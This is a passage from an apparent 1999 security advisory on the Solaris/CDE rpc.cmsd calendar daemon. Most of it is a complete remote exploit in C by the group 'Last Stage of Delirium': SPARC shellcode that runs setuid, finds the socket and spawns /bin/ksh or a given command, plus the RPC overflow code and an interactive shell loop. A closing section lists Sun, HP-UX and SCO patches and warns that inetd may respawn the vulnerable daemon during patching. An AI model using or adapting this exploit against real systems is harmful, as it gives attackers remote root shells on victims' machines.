"\x82\x10\x20\x36" /* mov 0x36,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\xa0\x24\x3f\xff" /* sub %l0,-1,%l0 */ "\x1a\xbf\xff\xe9" /* bcc <findsckcode+36> */ "\x80\xa4\x23\xff" /* cmp %l0,0x3ff */ "\x04\xbf\xff\xf3" /* bl <findsckcode+84> */ "\xaa\x20\x3f\xff" /* sub %g0,-1,%l5 */ "\x90\x05\x7f\xff" /* add %l5,-1,%o0 */ "\x82\x10\x20\x06" /* mov 0x6,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x90\x04\x3f\xfe" /* add %l0,-2,%o0 */ "\x82\x10\x20\x29" /* mov 0x29,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\xaa\x25\x7f\xff" /* sub %l5,-1,%l5 */ "\x80\xa5\x60\x03" /* cmp %l5,3 */ "\x04\xbf\xff\xf8" /* ble <findsckcode+144> */ "\x80\x1c\x40\x11" /* xor %l1,%l1,%g0 */ ; char setuidcode[]= "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ ; char shellcode[]= "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x24" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\x98\x03\xe0\x24" /* add %o7,32,%o4 */ "\xc0\x23\x20\x08" /* st %g0,[%o4+8] */ "\xd0\x23\x20\x10" /* st %o0,[%o4+16] */ "\xc0\x23\x20\x14" /* st %g0,[%o4+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; char cmdshellcode[]= "\x20\xbf\xff\xff" /* bn,a <cmdshellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <cmdshellcode> */ "\x7f\xff\xff\xff" /* call <cmdshellcode+4> */ "\x90\x03\xe0\x34" /* add %o7,52,%o0 */ "\x92\x23\xe0\x20" /* sub %o7,32,%o1 */ "\xa2\x02\x20\x0c" /* add %o0,12,%l1 */ "\xa4\x02\x20\x10" /* add %o0,16,%l2 */ "\xc0\x2a\x20\x08" /* stb %g0,[%o0+8] */ "\xc0\x2a\x20\x0e" /* stb %g0,[%o0+14] */ "\xd0\x23\xff\xe0" /* st %o0,[%o7-32] */ "\xe2\x23\xff\xe4" /* st %l1,[%o7-28] */ "\xe4\x23\xff\xe8" /* st %l2,[%o7-24] */ "\xc0\x23\xff\xec" /* st %g0,[%o7-20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh -c " ; static char nop[]="\x80\x1c\x40\x11"; typedef struct{char *target,*new_target;}req1_t; typedef struct{ struct{long tick,key;}appt_id; void *tag; int duration,ntimes; char *what; struct{int period,nth;long enddate;}period; char *author,*client_data; void *exception,*attr; int appt_status,privacy; void *next; }appt_t; typedef struct{ char *target; struct{ int tag; union{struct{void *v1,*v2;int i;}apptid;appt_t *appt;}args_u; }args; int pid; }req2_t; bool_t xdr_req1(XDR *xdrs,req1_t *obj){ if(!xdr_string(xdrs,&obj->target,~0)) return(FALSE); if(!xdr_string(xdrs,&obj->new_target,~0)) return(FALSE); } bool_t xdr_appt(XDR *xdrs,appt_t *objp){ char *v=NULL;long l=0;int i=0; if(!xdr_long(xdrs,&l)) return(FALSE); if(!xdr_long(xdrs,&l)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); if(!xdr_int(xdrs,&i)) return(FALSE); if(!xdr_int(xdrs,&objp->ntimes)) return(FALSE); if(!xdr_string(xdrs,&objp->what,~0)) return(FALSE); if(!xdr_int(xdrs,&objp->period.period)) return(FALSE); if(!xdr_int(xdrs,&i)) return(FALSE); if(!xdr_long(xdrs,&l)) return(FALSE); if(!xdr_string(xdrs,&objp->author,~0)) return(FALSE); if(!xdr_string(xdrs,&objp->client_data,~0)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); if(!xdr_int(xdrs,&i)) return(FALSE); if(!xdr_int(xdrs,&i)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); return(TRUE); } bool_t xdr_req2(XDR *xdrs,req2_t *obj){ if(!xdr_string(xdrs,&obj->target,~0)) return(FALSE); if(!xdr_int(xdrs,&obj->args.tag)) return(FALSE); if(!xdr_pointer(xdrs,(char**)&obj->args.args_u.appt,sizeof(appt_t), xdr_appt)) return(FALSE); if(!xdr_int(xdrs,&obj->pid)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char buffer[30000],address[4],*b,*cmd; int i,c,n,flag=0,vers=7,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req1_t req1;req2_t req2;appt_t ap; char calendar[32]; printf("copyright LAST STAGE OF DELIRIUM jul 1999 poland //lsd-pl.net/\n"); printf("rpc.cmsd for solaris 2.5 2.5.1 2.6 2.7 sparc\n\n"); if(argc<2){ printf("usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]\n", argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"tsc:p:v:"))!=-1){ switch(c){ case 't': flag|=4;break; case 's': flag|=2;break; case 'c': flag|=1;cmd=optarg;break; case 'p': port=atoi(optarg);break; case 'v': vers=atoi(optarg); } } if(vers==5) *(unsigned long*)address=htonl(0xefffcf48+600); if(vers==6) *(unsigned long*)address=htonl(0xefffed0c+100); if(vers==7) *(unsigned long*)address=htonl(0xffbeea8c+600); printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("\nerror");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); }else{ if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){ errno=EADDRNOTAVAIL;perror("\nerror");exit(-1); } } if((b=(char*)strchr(hp->h_name,'.'))!=NULL) *b=0; if(flag&4){ sck=RPC_ANYSOCK; if(!(cl=clntudp_create(&adr,CMSD_PROG,CMSD_VERS,tm,&sck))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl,CMSD_PING,xdr_void,NULL,xdr_void,NULL,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);} clnt_destroy(cl); if(flag==4) {printf("sent!\n");exit(0);} } adr.sin_port=htons(port); sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,CMSD_PROG,CMSD_VERS,&sck,0,0))){ clnt_pcreateerror("\nerror");exit(-1); } cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL); sprintf(calendar,"xxx.XXXXXX"); req1.target=mktemp(calendar); req1.new_target=""; stat=clnt_call(cl,CMSD_CREATE,xdr_req1,&req1,xdr_void,NULL,tm); if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);} b=buffer; for(i=0;i<ADRNUM;i++) *b++=address[i%4]; *b=0; b=&buffer[2000]; for(i=0;i<2;i++) *b++=0xff; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; if(flag&2){ i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct{unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck,(('T'<<8)|144),&nb); } n=-ntohs(adr.sin_port); printf("port=%d connected! ",-n);fflush(stdout); *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff); *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff); for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; }else{ for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i]; for(i=0;i<strlen(cmd);i++) *b++=cmd[i]; *b++=';'; for(i=0;i<3+4-((strlen(cmd)%4));i++) *b++=0xff; } *b=0; ap.client_data=buffer; ap.what=&buffer[2000]; ap.author=""; ap.ntimes=1; ap.period.period=1; req2.target=calendar; req2.args.tag=3; req2.args.args_u.appt=≈ stat=clnt_call(cl,CMSD_INSERT,xdr_req2,&req2,xdr_void,NULL,tm); if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);} printf("sent!\n");if(flag&1) exit(0); write(sck,"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck,buf,cnt); } if(FD_ISSET(sck,&fds)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } } SOLUTION The following patches have now been released: 107022-03 CDE 1.3 (Solaris 7/SPARC) 107023-03 CDE 1.3_x86 (Solaris 7/x86) 105566-07 CDE 1.2 (Solaris 7/SPARC) 105567-08 CDE 1.2_x86 (Solaris 7/x86) 105567-08 CDE 1.2_x86 (Solaris 2.6) 104976-04 OW 3.5.1 (Solaris 2.5.1) 105124-03 OW 3.5.1_x86 (Solaris 2.5.1_x86) 103251-09 OW 3.5 (Solaris 2.5) 103273-07 OW 3.5_x86 (Solaris 2.5_x86) 101513-14 OW 3.3 (Solaris 2.3) 100523-25 OW 3.0 (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4) Already released was (one week ago): 105566-07 CDE 1.2 (Solaris 2.6/SPARC) Be aware that when these patches are applied, the existing rpc.cmsd process (if one exists) seems to be killed in a *prepatch* script--that is, *before* the programs are updated. This is not just a minor race condition: under at least some circumstances, inetd will respawn rpc.cmsd *immediately* when it dies, syslogging a message like: Jul 15 12:24:20 hostname inetd[150]: /usr/openwin/bin/rpc.cmsd: Child Status Changed ...thus, systems may still be running the old, vulnerable daemon after installing the patch unless the rpc.cmsd process is killed *after* the patch has been installed. It will be addressed in a future release. Solaris 2.4 is vulnerable, AFAIK, but the patches for it haven't been finished yet. Both CDE 1.0.1/1.0.2 (which have seperate rpc.cmsd binaries; these were merged in later releases) and Solaris 2.4 patches will be released at a later date. As for HP, install the applicable patch: For HP-UX release 10.20 PHSS_19482 For HP-UX release 10.24 PHSS_19702; For HP-UX release 11.00 PHSS_19483 There are significant patch dependencies for both patches. HP-UX release 10.30 was a development release prior to the availability of HP-UX release 11.00. HP-UX release 10.30 will not be patched. SCO is investigating this problem. The following SCO product contains CDE and is potentially vulnerable: SCO UnixWare 7.